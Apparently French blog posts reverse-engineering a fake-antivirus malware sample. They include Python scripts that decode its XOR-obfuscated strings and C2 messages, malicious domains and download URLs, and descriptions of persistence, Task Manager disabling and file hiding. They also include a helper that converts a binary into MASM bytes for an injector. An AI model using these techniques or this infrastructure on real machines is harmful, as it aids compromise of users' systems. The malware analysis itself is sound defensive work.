Nous avons donc notre programme qui va être injecté, il nous faut le programme pour l'injecter mais avant j'ai écrit un script python pour transformer
le binaire injecté en variable pour masm, afin de pouvoir l'inclure dans mon programme :
out = open("creepy_exe.asm", "w")
i = 0
count = 0
f = open ("creepy.exe", "rb" )
out.write("creepy db ")
while (1):
tampon = f.read(1)
if tampon == "":
break
i = i + 1
if i % 8 == 0:
s = "0%02Xh\n" % ord(tampon)
else:
s = "0%02Xh, " % ord(tampon)
out.write(s)
count = count + 1
if i % 8 == 0:
out.write("\tdb\t")
i = 0
out.write("000h")
print "COUNT =", count
Voilà, la bêtise que j'ai ecrite récemment et qui m'a bien amusé.
Bonus
Just for the lulz, en reversant le malware il communiquait avec un serveur distant à l'aide du format XML.
J'ai écrit un petit script python pour voir les communications :
import base64
defdecrypt(s):
res = ""
for c in s:
res += chr(ord(c) ^ 0x53)
print res
ch1 = "HBhvITw8J21jbycgKj0wczo3bnRiYGJiYmFjY2RqdHxtb3whPDwnbQ=="
ch2 = """byE8PCdtbzE6PTU8czo3bnRgYGVqZGFgYGpidHM9J250Y3RzMSVudGd
9ZXRzPydudB8SHXRzPCBudAQ6PTc8JCBzCwNzAyE8NTYgIDo8PTI/c3
Rtc298MTo9NTxtb3whPDwnbQ=="""
ch3 = "byE8PCdtbyM6PTRzOjdudGBgZWpkYWBgamJ0fG1vfCE8PCdt"
f = open('527069638.dat', 'r')
s = f.read()
decrypt(s)
decrypt(base64.b64decode(ch1))
decrypt(base64.b64decode(ch2))
decrypt(base64.b64decode(ch3))
Output :
<?xml version="1.0"?>
<root/>
OK<root>0<tsync id='3369723391'/></root>
<root><binfo id='3369723391' nt='0' bv='4.6' lt='LAN' os='Windows XP Professional '> </binfo></root>
<root><ping id='3369723391'/></root>
Après la defcon, j'avais de grosse envie de continuer à reverse des choses (en l'occurence des binaires win32), j'ai donc voulu alller sur le site crackmes.de, mais malheuresement le site est indisponible actuellement.
Je décide donc d'aller plus loin et me pencher sur un malware, chose que j'ai déjà faite mais sur un blog non-officiel.
Je vais donc comme à mes habitudes sur le site malwaredomainlist.com et visite un domaine foireux pour récupérer un sample.
Première chose à faire c'est regarder si l'éxécutable est packé, pour ca on sort Peid :
Peid ne détecte rien, de plus la table d'IAT (Import Adress Table) bronche, tout du moins pas d'entrées vers GetProcAdress, LoadLibrary ...
Mais en regardant les strings présentes dans le binaire, on voit des "kernel32.dll", "ntdll.dll".
Je décide donc d'étudier le code de plu près avec le disas.
Je me rends compte qu'il decrypt un nouveau PE dans un zone alloué au préalable :
On sort lordPe et on va dump cette zone, et essayer de reconstruire le pe :
Si on avait voulu travailler avec ce dump, il aurait fallu éditer pas mal de choses(PeHEader, Sections...), mais j'ai juste dump pour le faire manger à Peid et voir si il me détectait quelque chose : Non.
En regardant le code de plus près, on peut voir ceci : ( image avec commentaire )
On regarde le memory map :
Il a effectivement changee l'accés de pas mal de zone mémoire qui lui sont propres.
On peut émettre l'hypothèse qu'il va re-unpack quelque chose dans cette zone étant donné qu'il a memset tout à 0x00.
On regarde le code plus loin et on voit un jump :
Ce pauvre thread va juste checker si le programme "MSACui.exe" fait partie de la liste des process (routine 6046d8), et sleep pendant 2000 millisecondes, puis reboucle, ansi de suite.
Pour l'instant je vais partir sur la routine adw: install, ou l'on peut remarquer des choses fun :
La routine 00603e49 est une simple routine pour decrypt les chaines (XOR 4), jai donc récupéré toutes les chaines du binaires et écrit un script python :
dump_8080 = "ElCo]N}BMG"
unknow = ["WkbpsevaXImgvkwkbpXSmj`kswXGqvvajpRavwmkjXTkhmgmawXW}wpai", "*a|a",
"lppt>++!w+!w+!w)`mvagp",
"E`kfa[Bhewl[The}av*a|a","T5oEhImC6Of3B~T1pI5UFM2@WW=6g75Etcno=hRO",
"ghmgokh`*kvc?waevglfvae`*kvc", "Wkbpseva",
"<7e1b<7f)1ee3)0be3)ffb1)27<6=e``6=2a",
".A@W*p|p", "Vjcqrdw`YHlfwjvjcqYLkq`wk`q%@}uijw`wYAjrkijda",
"Vjcqrdw`YHlfwjvjcqYRlkajrvYFpww`kqS`wvljkYUjilfl`vYDqqdfmh`kqv",
"Vjcqrdw`YHlfwjvjcqYRlkajrvYFpww`kqS`wvljkYUjilfl`vYDvvjfldqljkv",
"*~mt?*vev?*jbk?*p|p?*a|a?*fep?*gki?*gi`?*vac?*iwm?*lpi?*lpih?*cmb?*fit?*ntc?*erm?*itc?*itac?*ikr?*it",
"Fm`fn@}`Vlbkdqpw`v", "Vds`_jk`Lkcjwhdqljk", "IjrWlvnCli`Q|u`v",
"lppt>++!w+040*tlt;p}ta9wpepw", "ebbm`9!w""wqfm`9!w""esko",
"waevglehmoa*kvc?ghmgonegowkjrmhha*kvc?waevglepikwtlava*kvc?waevglfacej*kvc?waevglejp*kvc",
"E`kfa[Bhewl[The}av*a|a",
"<2a<e0=1)713g)073g)f2a=)57a313fbefef",
"31be7<f3)<f=0)0==1)e`76)16a=7<<23=10",
"`g52af7g)a4b2)002b)<`63)=56615b<a2`e"]
defdecrypt(ch):
name = ""
for c in ch:
name += chr(ord(c) ^ 4)
print "Name = " + name
decrypt(dump_8080)
for val in unknow:
decrypt(val)
Voici l'output :
Name = AhGkYJyFIC
Name = Software\Microsoft\Windows\CurrentVersion\Policies\System
Name = .exe
Name = http://%s/%s/%s-direct
Name = Adobe_Flash_Player.exe
Name = P1kAlMiG2Kb7FzP5tM1QBI6DSS92c31Apgjk9lVK
Name = clickold.org;searchbread.org
Name = Software
Name = 83a5f83b-5aa7-4fa7-bbf5-63829add296e
Name = *EDS.txt
Name = Rnguv`sd]Lhbsnrngu]Houdsodu!Dyqmnsds]Envomn`e
Name = Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Qnmhbhdr]@uu`bildour
Name = Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Qnmhbhdr]@rrnbh`uhnor
Name = .zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp
Name = BidbjDydRhfo`utsdr
Name = R`wd[nodHognsl`uhno
Name = MnvShrjGhmdUxqdr
Name = http://%s/404.php?type=stats
Name = affid=%ssubid=%sawok
Name = searchalike.org;clickjacksonville.org;searchatmosphere.org;searchbegan.org;searchant.org
Name = Adobe_Flash_Player.exe
Name = 86e8a495-357c-437c-b6e9-13e757bfabab
Name = 75fa38b7-8b94-4995-ad32-52e938867954
Name = dc16eb3c-e0f6-446f-8d27-912251f8e6da
On peut y voir en premier le nom de l'éxecutable qui va étre crée, des noms de domaines, une clef de registre, des urls ... etc.
Next :
La routine en 0060485C va simplement disable le task_manager, stack call de advapi32.RegSetValueExW
On regarde aussi la routine de crétion ( plutot recopie ) car c'est exactement le meme binaire qui est copiée : ( disas commenté)
J'ai NOP le call à ShellExecute afin de pouvoir continuer à analyser le binaire.
Car plus loin il va ajouter une valeur dans la RegKey : Software\Microsoft\Windows\CurrentVersion\Run :
Ce qui m'interessait de voir surtout après c'était la routine "adw download rootkit", mais malheuresement elle failed :(.
L'URL :
http://searchbread.org/pica1/531-direct
Les domaines ne répondent pas c'est dommage. Pareil pour la routine "adw download exe"...
On continue et on aboutit donc sur la routine "self delete" :
On peut remarquer que nous n'avons pas la meme empreinte qu'au départ avec "pusk.exe".
L'unpacking se passe exactement de la meme maniere que pour le précédent binaire.
J'ai omis une chose lors de ma première analyse, une routine qui teste si son nom de process est "AhGkYJyFIC.exe" si c'est le cas on part sur la routine "adw: work"
Dans le disas on voit plusieurs call à CreateThread, 2 routines sont importantes à voir :
006022AF
Crétion d'un fichier temporaire extrait des ressources :
On étudiera ce fichier aprés, c'est le fakeAV :]
00603785
Utilisation de l'éxecutable attrib.exe (man page) sur chacun des fichiers du disque dur, afin de les rendre tous "caché".
Et le pourquoi c'est que le programme en lui meme va modifier des clefs de registre qui changeront la visibilité de chacun des fichiers :
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" -> "CheckedValue" -> "0".
14081828.exe
Voici le fakeAV que nous attendions tant :
En fait à partir de là, la partie est gagné en faisant un simple strings sur le binaire on trouvait la clef pour se register.
Une fois le logiciel register, ca va restaurer comme il faut les clefs de registre, le wallpaper, et rapeller attribute.exe sur tous les fichiers du disque.
Et ouvrir notepad avec le message suivant :
Thank you for your purchase, Windows XP Recovery!
Your activation code: 8475082234984902023718742058948
EDS URL: http://www.edsawake.org/customers/dl/Recovery.exe
Contact us through Help&Support section in the Windows XP Recovery menu or by phone +1.877.2820139
Voilà c'est la fin de cette article sur une occupation lorsque crackmes.de n'est pas disponible.